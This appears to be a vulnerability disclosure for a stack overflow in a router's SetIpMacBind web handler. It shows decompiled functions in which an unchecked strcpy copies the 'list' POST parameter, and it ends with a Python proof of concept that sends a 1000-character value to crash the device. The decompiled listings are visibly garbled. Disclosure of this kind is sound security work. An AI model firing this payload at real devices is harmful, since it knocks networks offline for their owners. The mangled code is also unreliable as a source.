

```
1 int __fastcall sub_430124(int a1)
   2 {
       int v3[4]; // [sp+1Ch] [-18h] BYREF
   3
   4
      memset(v3, 0, sizeof(v3));
  5
      blob buf init(v3, 0);
     sub_42FFF8(a1, v3);
  7
  8
       tapi_set_ipmacbindcfg(v3[0]);
     blob_buf_free(v3);
  9
     sub_415368(a1, "HTTP/1.0 200 OK\r\n\r\n");
sub_415368(a1, "{\"errCode\":%d}", 0);
10
11
12
      sub_415B54(a1, 200);
      return _stack_chk_guard;
13
14|}
```

In the **sub_42FFF8** function, the two parameters **bindnum** and **list** passed in by the post are obtained, and the address of the list value is used as the parameter of the **sub_42FDE4** function.

```
1 int __fastcall sub_42FFF8(int a1, int a2)
       int v4; // $s3
      int v5; // $s0
      int v6; // $s3
      int i; // $s0
       int v9; // [sp+18h] [-18h] BYREF
      int v10[4]; // [sp+1Ch] [-14h] BYREF
10 memset(v10, 0, sizeof(v10));
11 blob_buf_init(v10, 0);

12 v4 = sub_4151AC(a1, "bindnum", "(a1) v5 = sub_4151AC(a1, "list", "");
                                                     获取bindnum和list的值
14
       v6 = atoi(v4);
15
       v9 = v5;
                                                                   将list值的地址传给sub 42FDE4
16
      for ( i = 1; v9 \&\& v6 >= i \&\& sub_42FDE4(i, &v9, v10) != 1; ++i )
17
18
       blob_put(a2, 0, v10[0] + 4, *(_DWORD *)v10[0] & 0xFFFFFF);
19
       blob buf free(v10);
20
      return _stack_chk_guard;
21}
```

sub_42FDE4, **strcpy(v16, v6)**, **v6** is the incoming **list** parameter, and no length limit and security check are used in this process, so the attacker can cause stack overflow through a long **list** and achieve denial of service attack.

```
■ 17 memset(v15, 0, sizeof(v15));
● 18 v6 = *a2;
● 19 v7 = (_BYTE *)strchr(*a2, 10); 获取第一个字符
● 20 if ( v7 )
21 {
22 | *v7 = 0;
22
     v8 = v7 + 1;
strcpy(v16, *a2);
23
24
     *a2 = v8;
25
                              实际上两个strcpy都可照成栈溢出
 26 }
 27 else
30 }
31 if ( v16[0] == '\r' )
 32 {
33
     if ( sscanf(&v16[1], "%17[0-9a-fA-F:]\r%s", v13, v14) != 2 )
 34
 35 ABEL_5:
36
       puts("get ip and mac error!");
37
       return 1;
 38
39
     strcpy(v15, "");
 40 }
```

POC

Poc of Denial of Service(DoS):

```
import requests
from pwn import *

url = "http://192.168.0.1/goform/SetIpMacBind"
cookie = {"Cookie":"password=1111"}
data = {"bindnum": "1", "list":"\r" + "A" * 1000}

requests.post(url, cookies=cookie, data=data)
```